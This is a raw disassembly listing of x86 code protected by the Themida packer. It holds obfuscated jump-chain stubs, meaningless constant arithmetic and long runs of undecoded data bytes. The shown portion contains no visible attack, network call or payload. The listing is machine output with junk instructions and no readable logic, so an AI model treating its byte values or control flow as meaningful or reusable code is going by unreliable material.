; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 68570000h, 4, 8BFE295Fh, 0C483243Ch,	24348704h
		dd 2404895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 4812424h, 424h, 24048B00h, 504C483h,	4, 0E904E883h
		dd 5B88h, 603F7CB8h, 0FFE8837Eh, 2D04E8C1h, 27202AB8h
		dd 0BBA3D02Dh, 58C729E2h, 0ED80E9h, 0E9CF8100h,	6832F74Bh
		dd 1282h, 0F7243C89h, 17E92414h, 58000090h, 5C24048Fh
		dd 148E9h, 4EE8300h, 5C243487h,	0BE243489h, 67865C70h
		dd 87733C05h, 605DE937h, 81520000h, 54CD242Ch, 815E302Ah
		dd 2A54CDC6h, 0EEBBE930h, 0BE560000h, 55387F0Bh, 266CCE81h
		dd 0CE811804h, 7A0E4AF6h, 0ED8E681h, 0F681787Ah, 227164BBh
		dd 81FFC683h, 4B6A60F6h, 5A44E95Ah, 0E0C10000h,	81440506h
		dd 0C501B0A9h, 4ED8358h, 8B242C87h, 9CE92424h, 0E9000017h
		dd 0FFFFE57Dh, 8B2434FFh, 0C483240Ch, 4C48304h,	2C8BE801h
		dd 90AEE924h, 0EF800000h, 5BFA88CAh, 8001EB80h,	0D3280AEBh
		dd 752FE9h, 0C0B60F00h,	1293BE9h, 0F7CB8700h, 81CB87D1h
		dd 0FFFFFFEBh, 47CB81FFh, 0F76EDE6Ah, 4EC81D3h,	89000000h
		dd 29BD242Ch, 29911689h, 0E19E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_637082:				; CODE XREF: Themida_:0063F445j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 405424EEh
		shr	edx, 2
		push	edx
		not	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_6400C1
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 0CFF2424h, 0EEE99C24h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6370B7:				; CODE XREF: Themida_:0063D3EDj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_63FD0A
; ---------------------------------------------------------------------------
		dw 805Ah
		dd 546836CFh, 89000004h, 8AE9240Ch, 1FFFFF5h, 30E95AD0h
		dd 8B0000C5h, 0C4832434h, 5433E904h, 0C7800000h, 0B5F780F5h
		dd 13755E9h, 53DAF700h,	64FAE9h, 2434FF00h, 1785E9h, 0E49FE900h
		dd 0F331FFFFh, 0E924348Bh, 28BAh, 6030EB81h, 0AFE93FB1h
		dd 8100000Dh, 0D41F87F1h, 0C181413Fh, 91098F21h, 89CF8957h
		dd 1595FFEh, 0C875EF1h,	95C5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63713A:				; CODE XREF: Themida_:00647BFEj
		push	edx
		jmp	loc_63C5C7
; ---------------------------------------------------------------------------


loc_637140:				; CODE XREF: Themida_:0063FFB9j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_6355A5
; ---------------------------------------------------------------------------


loc_63714B:				; CODE XREF: Themida_:0063AE64j
		add	esp, 4
		add	ebx, 4
		push	60D7h
		mov	[esp], edx
		push	ebx
		jmp	loc_63BB35
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0C107E5C1h, 0B95105EDh, 771E07C7h, 0C8BCD31h, 4C48124h
		dd 57000000h, 0FB54B9BFh, 51BE900h, 50680000h, 89000015h
		dd 4832424h, 0D7E90424h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63719B:				; CODE XREF: Themida_:0063F7DFj
		mov	ebx, [esp]
		add	esp, 4
		push	60D1h
		mov	[esp], edx
		jmp	loc_641DF1
; ---------------------------------------------------------------------------
aLS_0		db '$$,',0
		dd 0F6E95100h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_6371BF:				; CODE XREF: Themida_:00640579j
		mov	ebp, esp
		jmp	loc_64792C
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 1E34BF24h, 0F93175BAh, 0C7CE9h, 4BF5700h, 0E9000000h
		dd 2DF7h
; ---------------------------------------------------------------------------


loc_6371E0:				; CODE XREF: Themida_:0063CE54j
		push	edi
		mov	edi, 5E9F47C4h
		push	33C9h
		mov	[esp], esi
		jmp	loc_63F436
; ---------------------------------------------------------------------------
		db 25h
		dd 439A50E7h, 12480E9h,	72E95000h, 81000090h, 4C4h, 791EE900h
		dd 895C0000h, 0E589242Ch, 9EBF5753h, 89519815h,	0EB815FFBh
		dd 5020733Ch, 0F26E9h
		db 0
; ---------------------------------------------------------------------------


loc_637229:				; CODE XREF: Themida_:0063EC0Fj
		sub	esi, 3E39184Eh
		pop	edi
		sub	eax, 7F0D47h
		sub	eax, esi
		add	eax, 7F0D47h
		pop	esi
		jmp	loc_64A6D5
; ---------------------------------------------------------------------------
aSs_0		db '\S',0
		align 4


loc_637248:				; CODE XREF: Themida_:0063E1AAj
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_63A95C
; ---------------------------------------------------------------------------
		dd 52E9C300h, 9000023h,	81495DE9h, 0AE2957E9h, 0AB26E937h
		dd 0F8010000h, 9A81E95Fh, 97BB0000h, 0E9679B61h, 0FFFFEFFCh
		dd 0E9E18951h, 19E8h, 575E68h, 241C8900h, 0DAD7E9h, 48B6600h
		dd 0E0895024h, 113A68h,	0BBDCE900h, 0C4830000h,	2C3AE904h
		dd 2B2D0000h, 0E905B928h, 0AD1Ah
; ---------------------------------------------------------------------------


loc_6372B8:				; CODE XREF: Themida_:0063AC06j
		mov	[esp], edx
		jmp	loc_639F46
; ---------------------------------------------------------------------------
		dd 0C8BEF88h, 4C48124h,	50000000h, 0CD52E951h, 74FF0000h
		dd 8F590424h, 8F5C2404h, 385C2404h, 0BEE99CC1h,	8BFFFFE2h
		dd 4002424h, 0B2E99C24h, 81FFFFE2h, 0E36B3DF6h,	90C6811Eh
		dd 31B11349h, 0D0015EF2h, 10E4E9h, 0D8F38100h, 2941C909h
		dd 0D0295BD8h, 69297805h, 0BF575A41h, 79DD17C4h, 0C6E9D7F7h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_637327:				; CODE XREF: Themida_:0063A42Aj
		push	4AB33F3Ch
		pop	ebp
		xor	ebp, 785A1ABAh
		xor	ebp, 1DD25A26h
		mov	esi, ebp
		jmp	loc_64A191
; ---------------------------------------------------------------------------
		dd 0E289525Bh, 4C281h, 0C2810000h, 4, 31241433h, 14332414h
		dd 0B9515C24h, 4, 8759CA01h, 0A1E92414h, 56000029h, 4BEh
		dd 5EF70100h, 4EF81h, 3C870000h, 0C895C24h, 801FB124h
		dd 0D9F620F1h, 0C0B3F180h, 0C18004E9h, 0E0C180E9h, 79AF68h
		dd 24048900h, 368AE9h, 0E3895300h, 4C381h, 0C3830000h
		dd 241C8704h, 6EF8E9h, 11496800h, 0E90E18h, 0BD00003Dh
		dd 15D637D2h, 8246C29h,	10E4DE9h
		db 0
; ---------------------------------------------------------------------------


loc_6373CD:				; CODE XREF: Themida_:006374E3j
		xor	ebx, [esp]
		jmp	loc_6405E9
; ---------------------------------------------------------------------------
		db 31h,	0CDh, 0E9h
		dd 1D70h
; ---------------------------------------------------------------------------


loc_6373DC:				; CODE XREF: Themida_:0063C31Aj
		mov	[esp], edx
		mov	edx, 36779A89h
		jmp	loc_63B136
; ---------------------------------------------------------------------------
aOs		db 'O[',0
		db 0
; ---------------------------------------------------------------------------


loc_6373EF:				; CODE XREF: Themida_:00646698j
		mov	ebx, [esp]
		add	esp, 4
		push	3A4Dh
		jmp	loc_647C85
; ---------------------------------------------------------------------------


loc_637402:				; CODE XREF: Themida_:0063EB0Ej
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_64601C
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 3467B924h, 0F18104E3h, 36173E4Eh, 3159CB29h,	0E17BE9C2h
		dd 9EB8FFFFh, 0E9738019h, 5F28h, 8324048Bh, 6CB804C4h
		dd 1C9EFE8h, 2434FFD8h,	0E954535Bh, 137D5h
; ---------------------------------------------------------------------------


loc_63744C:				; CODE XREF: Themida_:0063E735j
		push	ebp
		jmp	loc_64A778
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 6F5857A7h, 0C381F301h, 6F5857A7h, 2BC7C381h,	348B6287h
		dd 4C48324h, 0E9575052h, 0F407h, 0F488FE88h, 8324148Bh
		dd 0E18804C4h, 0FFF562E9h, 1C77FFFFh, 0D359669Dh, 0E99C241Ch
		dd 0FFFFE111h, 7CF3815Bh, 8948E87Fh, 0A6E95BD8h, 0FF00011Dh
		dd 835B2434h, 0F6E904C4h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6374AF:				; CODE XREF: Themida_:0063B7E2j
		add	edi, 4
		jmp	loc_63C4A9
; ---------------------------------------------------------------------------
		dw 0DF29h
		dd 7C73C781h, 1C8B5C9Fh, 4C48324h, 12326E9h
		db 0
; ---------------------------------------------------------------------------


loc_6374CD:				; CODE XREF: Themida_:00641FBBj
		mov	ecx, 51404C85h
		sub	ecx, 51404C81h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_6373CD
; ---------------------------------------------------------------------------


loc_6374E8:				; CODE XREF: Themida_:00641ACCj
		or	esi, 58DA5F50h
		add	esi, 7D713A89h
		xor	esi, 0E9A7C33Dh
		jmp	loc_649472
; ---------------------------------------------------------------------------
		db 1
		dd 34CFE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_637506:				; CODE XREF: Themida_:00645FC2j
		push	ecx
		mov	ch, 54h
		add	ch, 92h
		jmp	loc_64344C
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 609BB951h, 0CB8903E2h, 544CE9h, 11055900h, 2937F329h
		dd 0BEACE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63752E:				; CODE XREF: Themida_:00647056j
		mov	edx, 1D7B6A9Ah
		xor	edx, 71D281F7h
		jmp	loc_6443DD
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_637FE9
; ---------------------------------------------------------------------------
aYqA		db 'YQ',0
aA_0		db '/',0
		db 0EBh
		dd 592FEB80h, 0FFEDFFE9h, 4CD5B8FFh, 0BD55558Bh, 182CCED3h
		dd 315DE829h, 0C3E958C1h, 5B000085h, 1BE56h, 0F5010000h
		dd 9DE94D5Eh, 89000131h, 2D585EF3h, 6643213Dh, 817B672Dh
		dd 51D80142h, 817B67B9h, 4FF02D42h, 0C80171B1h,	0B14FF005h
		dd 66E95971h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6375AF:				; CODE XREF: Themida_:00635D31j
		mov	edi, 5DF04A42h
		shl	edi, 3
		inc	edi
		xor	edi, 181A44F4h
		dec	edi
		sub	edi, 1
		add	edi, 3D7CEE37h
		and	ebx, edi
		jmp	loc_636571
; ---------------------------------------------------------------------------


loc_6375CF:				; CODE XREF: Themida_:00648BA7j
		pop	eax
		push	559Eh
		mov	[esp], esi
		mov	esi, 52411D82h
		and	edx, esi
		pop	esi
		push	2373h
		jmp	loc_63ADF4
; ---------------------------------------------------------------------------


loc_6375EA:				; CODE XREF: Themida_:0063C98Cj
		push	ebp
		mov	ebp, 1C3E7BBBh
		shr	ebp, 1
		jmp	loc_645DEA
; ---------------------------------------------------------------------------


loc_6375F7:				; CODE XREF: Themida_:006391C8j
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 78A312A8h
		and	ecx, 1EDA5552h
		and	ecx, 353F761Ah
		jmp	loc_6361F3
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C4h, 24248B24h, 8702C383h, 248B241Ch, 1EDE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_63762E:				; CODE XREF: Themida_:00647A57j
		mov	ecx, 4B501C24h
		jmp	loc_6384EC
; ---------------------------------------------------------------------------
		dd 4BBh, 2BE98100h, 0E92EAB1Fh,	0D0C6h,	5C241C87h, 461FE581h
		dd 5556449Eh, 0CB68AABDh, 6E5C115h, 7B3DE9h, 364BF00h
		dd 0C781431Fh, 0BCE0FCA0h, 1221B850h, 44053E0Dh, 40C2E808h
		dd 68D8F740h, 5E30h, 0E9240C89h, 1545h
; ---------------------------------------------------------------------------


loc_637688:				; CODE XREF: Themida_:00642580j
		mov	esi, edx
		mov	ebx, esi
		pop	esi
		jmp	loc_648518
; ---------------------------------------------------------------------------
		dw 9ABDh
		dd 21337274h, 0C7815DEFh, 719653A1h, 0F453E9h, 5FF92900h
		dd 0C181E901h, 0FB54B9h, 0CC1815Dh, 0E92D1210h,	3456h
		dd 8B5BDF01h, 0C481241Ch, 4, 4EC81h, 1C890000h,	703CE924h
		dd 0E5890000h, 43068h, 24348900h, 48C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_6376E5:				; CODE XREF: Themida_:00642A06j
		pop	esi
		push	ecx
		jmp	loc_648D4C
; ---------------------------------------------------------------------------


loc_6376EC:				; CODE XREF: Themida_:0063A424j
		push	0BFFh
		jmp	loc_63BFA0
; ---------------------------------------------------------------------------
		dw 0F000h
		dd 0FBB6525Ah, 8094E680h, 0EE8024C6h, 8E6C006h,	0E9BEF680h
		dd 79ADh, 9C2424D3h, 0FFDE8CE9h, 0E9D9F7FFh, 0FF8h, 0AD068h
		dd 241C8900h, 223C2BBBh, 0F1C38128h, 0F714055Eh, 0E9DBF7DBh
		dd 155Eh, 0E904C483h, 783Eh, 67EB80h, 67C380D3h, 0BF57535Ah
		dd 23391A9Ah, 20AABA52h, 0D389FF3Dh, 0AF35E9h, 0DE015900h
		dd 0A1E9575Bh, 570000DBh, 4BFh,	5FF90100h, 4C181h, 51E90000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63777F:				; CODE XREF: Themida_:0064964Aj
		xor	edi, 0C339AD9Ch
		add	edx, edi
		pop	edi
		xor	edi, edx
		push	dword ptr [esp]
		pop	edx
		push	4D2Dh
		mov	[esp], esi
		mov	esi, esp
		push	edx
		push	ecx
		push	57E109A5h
		pop	ecx
		shl	ecx, 3
		add	ecx, 19B55C6Ah
		sub	ecx, 0D8BDA98Eh
		mov	edx, ecx
		pop	ecx
		add	esi, edx
		pop	edx
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_63B2B4
; ---------------------------------------------------------------------------
		dw 0E5C0h
		dd 0B6526606h, 6EDEE953h, 0C890000h, 0C682E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6377DE:				; CODE XREF: Themida_:0064799Dj
		pop	ebx
		add	edx, edi
		push	edi
		mov	edi, 7CFE4524h
		sub	edx, edi
		pop	edi
		sub	edx, 308D0728h
		add	[edx], ebp
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	ebp
		jmp	loc_648D8D
; ---------------------------------------------------------------------------
		db 1
		dd 0BD555EF7h, 53F218E4h, 0E95DE801h, 0FFFFF6ABh
; ---------------------------------------------------------------------------


loc_63781C:				; CODE XREF: Themida_:006478C3j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_638D95
; ---------------------------------------------------------------------------


loc_637829:				; CODE XREF: Themida_:0064653Aj
		mov	ebp, 1B02174Fh
		shr	ebp, 6
		dec	ebp
		shl	ebp, 7
		jmp	loc_63B2F5
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4E95B924h, 0C1415B05h, 0BF5708E9h, 1F43594h,	0A993F781h
		dd 0F9295C1Bh, 0F143E9h
		db 0
; ---------------------------------------------------------------------------


loc_637859:				; CODE XREF: Themida_:0064921Aj
		mov	[esp], ebp
		add	dword ptr [esp], 3E111DFCh
		pop	ebx
		sub	ebx, 3E111DFCh
		jmp	loc_646715
; ---------------------------------------------------------------------------


loc_63786F:				; CODE XREF: Themida_:0063691Dj
		push	ebx
		jmp	loc_649D09
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 2Eh
		dd 0FF68900Ah, 34FF2434h, 64E95E24h, 890000A6h,	5FF889EFh
		dd 48BC689h, 4C48124h, 5D000000h, 7493C181h, 0F10102E3h
		dd 0B380E9h, 5BDD8800h,	0CA2DE9h, 9C516600h, 0FFDCF0E9h
		dd 81E189FFh, 4C1h, 7E2BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6378C2:				; CODE XREF: Themida_:0063AF0Aj
		push	1EDBh
		mov	[esp], edx
		push	esp
		jmp	loc_636EE9
; ---------------------------------------------------------------------------


loc_6378D0:				; CODE XREF: Themida_:0063A2E4j
		add	esi, ebx
		jmp	loc_63D7C7
; ---------------------------------------------------------------------------


loc_6378D7:				; CODE XREF: Themida_:0063EDC7j
		or	ebx, 487B58F9h
		xchg	ebp, ebx
		dec	ebp
		jmp	loc_637DAE
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 71h
		dd 870000FCh, 248B241Ch, 2434FF24h, 582434FFh, 137168h
		dd 241C8900h, 0BE56E389h, 4, 2CF2E9h, 0BD555B00h, 0F9070ADh
		dd 7A32BB53h, 0C14B5100h, 0E95105E3h, 452Ah, 81240C8Bh
		dd 4C4h, 3D286800h, 14890000h, 2474FF24h, 0C1E95A04h, 8BFFFFF0h
		dd 0FE92424h, 89FFFFF4h, 71B1240Ch, 0DB5CE9h, 4C69BE00h
		dd 5AE94BE3h
		db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63795B:				; CODE XREF: Themida_:006465DFj
		add	esi, 1C5E243h
		jmp	loc_64A2C0
; ---------------------------------------------------------------------------


loc_637966:				; CODE XREF: Themida_:0063A29Aj
		add	esp, 4
		push	eax
		mov	ah, 36h
		jmp	loc_63DEAD
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 98h
		dd 8FC0B60Fh, 26E98704h, 33FFFFDCh, 1C31241Ch, 241C3324h
		dd 578E95Ch, 0E94B0000h, 639Ch,	5C243487h, 2EB81h, 97E90000h
		dd 0B3000027h, 0E9DD880Eh, 9549h, 0E9EC8850h, 1961h, 5E241C87h
		dd 3023BF57h, 0EF811BF1h, 359C4BEh, 685FFE29h, 7857h, 0BD242C89h
		dd 0FFFFFFFFh, 0A6F1E9h, 0E9DEF700h, 3624h, 7B99BD55h
		dd 0EDC11ED5h, 53D5F703h, 5116DFBBh, 5BDD0925h,	45CAC581h
		dd 37E94D30h, 8900001Fh, 0E952241Ch, 4279h, 0C6815E54h
		dd 4, 8704C683h, 0E95C2434h, 0FFFFDB89h
; ---------------------------------------------------------------------------


loc_637A1C:				; CODE XREF: Themida_:00649E24j
		add	esi, 7B773518h
		push	ecx
		mov	ecx, 4D70F10h
		shr	ecx, 6
		sub	ecx, 1
		dec	ecx
		jmp	loc_640AFF
; ---------------------------------------------------------------------------
		db 81h
		dd 33515BC5h, 14ABE950h, 0FE000001h, 0E9241C8Bh, 572Fh
		dd 240C8966h, 243D68h, 241C8900h, 1396866h, 24048966h
		dd 0E951A4B0h, 9704h
; ---------------------------------------------------------------------------


loc_637A68:				; CODE XREF: Themida_:006457F6j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_64042C
; ---------------------------------------------------------------------------
		dw 0FF5Fh
		dd 34FF2434h, 89525824h, 16E956E2h, 0FF0000BAh,	34FF2434h
		dd 2434FF24h, 83240C8Bh, 85E904C4h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_637A9B:				; CODE XREF: Themida_:00644481j
		sub	ebx, 3461110h
		jmp	loc_6359B9
; ---------------------------------------------------------------------------
		dw 3768h
		dd 8900003Ah, 0C1E92404h, 5CFFFFF4h, 9C240431h,	0FFDAE8E9h
		dd 0E9EA28FFh, 3B58h, 42474FFh,	5945E9h, 1540BE00h, 49E9190Ch
		dd 29000012h, 0A685E9CEh, 95BF0000h, 50499777h,	11DCAE9h
		db 0
; ---------------------------------------------------------------------------


loc_637AE9:				; CODE XREF: Themida_:00635731j
		and	ebp, 63B5CB2h
		xor	ebp, 62B0892h
		add	edi, ebp
		pop	ebp
		jmp	loc_643A20
; ---------------------------------------------------------------------------
aPs		db 'P',0
		dw 100h
		dd 0F4C781DFh, 5B496904h, 0C371E9h, 0F42BF00h, 0A9E97369h
		dd 5B000100h, 0E958C229h, 0FFFFE3A1h, 174CBF57h, 0E7C14A74h
		dd 0C4B95104h, 0E9453D16h, 7F72h
; ---------------------------------------------------------------------------


loc_637B38:				; CODE XREF: Themida_:0063E49Aj
		push	edx
		jmp	loc_647C03
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 8B042474h, 0C483240Ch, 24048F04h, 240C895Ch,	0FFEA80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_637B55:				; CODE XREF: Themida_:00637CF0j
		push	ebp
		mov	ebp, 25B024F0h
		add	ebp, 7BF0DF3Bh
		mov	ecx, ebp
		pop	ebp
		jmp	loc_6481F9
; ---------------------------------------------------------------------------


loc_637B69:				; CODE XREF: Themida_:00635E83j
		mov	esi, esp
		add	esi, 4
		jmp	loc_63B488
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 1C8B5D24h, 4C48324h,	0D657B3BBh, 8BEB3171h, 0E957242Ch
		dd 5DAFh, 8054E680h, 84B54CF6h,	0D4E9F528h, 0C1000049h
		dd 3507E8h, 101DA39h, 0EC8358C1h, 611E904h, 48B0000h, 4C48324h
		dd 4BA52h, 0A62D0000h, 16A7402h, 2A605D0h, 2DE96A74h, 8B000125h
		dd 8B662424h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 7B44599Dh
		add	ebx, 368013FCh
		not	ebx
		jmp	loc_6355AE
; ---------------------------------------------------------------------------
		dd 2B03EF81h, 0DF017F7Ch, 2B03C781h, 0C9E97F7Ch
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_637BFF:				; CODE XREF: Themida_:00641EDBj
		and	ecx, edx
		push	dword ptr [esp]
		jmp	loc_63DE0A
; ---------------------------------------------------------------------------
		db 1, 0F9h, 5Fh
		dd 31240C33h, 0C33240Ch, 24248B24h, 9C2424D2h, 0FFD984E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_637C21:				; CODE XREF: Themida_:006494F5j
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	ecx, 0A2182Bh
		push	edi
		jmp	loc_63BC33
; ---------------------------------------------------------------------------


loc_637C3A:				; CODE XREF: Themida_:0063620Ej
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 16231876h
		jmp	loc_6479F3
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EE3505E0h, 8927ED8Ah, 24048BC5h, 4C481h, 42BB0000h
		dd 149D9F8h, 242C8BEBh,	0E9E08950h, 11451h
; ---------------------------------------------------------------------------


loc_637C88:				; CODE XREF: Themida_:00638545j
		pop	ecx
		and	ch, dl
		mov	edx, [esp]
		add	esp, 4
		sub	ch, 8Fh
		sub	al, 0CCh
		sub	al, ch
		add	al, 0CCh
		pop	ecx
		sub	esp, 2
		mov	[esp], cx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bl, 0D3h
		shl	bl, 6
		add	bl, 7Bh
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 29h
		and	dl, 9Bh
		sub	dl, 99h
		add	bl, dl
		pop	edx
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		dec	dl
		sub	dl, 17h
		add	dl, 0FFh
		and	dl, 0B1h
		shr	dl, 8
		shr	dl, 5
		jmp	loc_64531C
; ---------------------------------------------------------------------------


loc_637CE9:				; CODE XREF: Themida_:00635F91j
		or	esi, 5C5932D0h
		push	ecx
		jmp	loc_637B55
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 51h
		dd 496AD6B9h, 0D2F18123h, 123496Ah, 0BF7FE9C8h,	0C6290000h
		dd 8748E958h, 4330000h,	24248B24h, 9C2404D3h, 0FFD884E9h
		dd 685759FFh, 124Ah, 0BA241489h, 4B0B6B32h, 34C8BA52h
		dd 0FEE93496h, 5900010Ch, 685FFE89h, 49A1h, 0C77FE9h, 24048F00h
		dd 49DA685Ch, 3C890000h, 0FF6EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_637D5A:				; CODE XREF: Themida_:006481CDj
		mov	ebx, [esp]
		jmp	loc_63856C
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 5DE380F9h, 0F606EBC0h, 0DDC380D3h, 2C5BD800h, 864E961h
		dd 0FD310001h, 0F7D5F75Fh, 20E951DDh, 680000E0h, 2A75h
		dd 20BEE9h, 24148700h, 241C895Ch, 9207E9h, 4C48300h, 289CC180h
		dd 895359C8h, 0E287E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_637DAE:				; CODE XREF: Themida_:006378E0j
		xchg	ebp, ebx
		push	eax
		mov	eax, 48B2638Eh
		jmp	loc_63F5ED
; ---------------------------------------------------------------------------
		db 5Ah
		dd 45E9D828h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_637DC3:				; CODE XREF: Themida_:0064249Fj
		mov	ebx, [esp]
		jmp	loc_64921F
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0E8830000h, 24048704h, 243C895Ch, 0C781E789h
		dd 4, 0E904EF83h, 12065h, 80CAC180h, 0E9C0A4E1h, 80C1FE07h
		dd 0CC88D4F1h, 0BEC8059h, 6658E508h, 0F6EA8852h, 0D48850D2h
		dd 88E78853h, 45E6E9FDh, 0E7880000h, 50C7FE58h,	81FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_637E21:				; CODE XREF: Themida_:00638F71j
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_642827
; ---------------------------------------------------------------------------


loc_637E2B:				; CODE XREF: Themida_:00646030j
		push	edx
		jmp	loc_640D31
; ---------------------------------------------------------------------------


loc_637E31:				; CODE XREF: Themida_:0064750Fj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	5052h
		jmp	loc_647595
; ---------------------------------------------------------------------------
		dd offset dword_510010+0F58h
		align 4
		dd 111E0E9h, 0C9815F00h, 46916AB0h, 1790F181h, 0BF5732D4h
		dd 616F04D4h, 0FFE0DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_637E69:				; CODE XREF: Themida_:0064312Dj
		mov	edx, 0
		sub	edx, ecx
		jmp	loc_63AB04
; ---------------------------------------------------------------------------
aRits_p		db 'R_',0
		db 0
; ---------------------------------------------------------------------------


loc_637E7D:				; CODE XREF: Themida_:0063F58Dj
		xor	ebp, [esp]
		pop	esp
		jmp	loc_63C255
; ---------------------------------------------------------------------------


loc_637E86:				; CODE XREF: Themida_:00642518j
		push	3E49036Dh
		jmp	loc_649853
; ---------------------------------------------------------------------------
aZhof		db 'Zhf',0
		align 2
		dw 0D3E9h
		dd 5D00000Eh, 1025EE9h
		db 0
; ---------------------------------------------------------------------------


loc_637EA1:				; CODE XREF: Themida_:00640009j
		mov	eax, 7417240Dh
		and	eax, 4B15070Ch
		add	eax, 1
		add	eax, 0F6A018BDh
		sub	edx, eax
		pop	eax
		pop	ebx
		xor	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	eax, 3E3E72CFh
		jmp	loc_642D4E
; ---------------------------------------------------------------------------
		dw 335Eh
		dd 1C31241Ch, 241C3324h, 0FFE843E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_637ED9:				; CODE XREF: Themida_:0063BBD4j
		mov	ecx, 4
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6DD80E0Ch
		jmp	loc_64139C
; ---------------------------------------------------------------------------
		dd 3058C288h, 8A18E9D0h, 7B2C0000h, 7B04E828h, 12705E9h
		db 0
; ---------------------------------------------------------------------------


loc_637F11:				; CODE XREF: Themida_:0063AA83j
		xor	edx, ecx
		jmp	loc_641894
; ---------------------------------------------------------------------------


loc_637F18:				; CODE XREF: Themida_:0064460Fj
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		jmp	loc_63B807
; ---------------------------------------------------------------------------


loc_637F24:				; CODE XREF: Themida_:00636CD3j
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_644602
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 72h
		dd 814FDC35h, 72C188EFh, 5FFB3110h, 96BAF381h, 0D8291F75h
		dd 5B2434FFh, 4C481h, 0A0050000h, 83108B01h, 2C8904ECh
		dd 0E9525024h, 8AC4h
; ---------------------------------------------------------------------------


loc_637F70:				; CODE XREF: Themida_:0063A374j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, edi
		jmp	loc_646688
; ---------------------------------------------------------------------------


loc_637F84:				; CODE XREF: Themida_:00645871j
		pop	edi
		jmp	loc_642BF3
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 0FFFC0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_637F91:				; CODE XREF: Themida_:0063C766j
		pop	bx
		sub	bl, 6Dh
		add	bl, ch
		add	bl, 6Dh
		jmp	loc_63FFB8
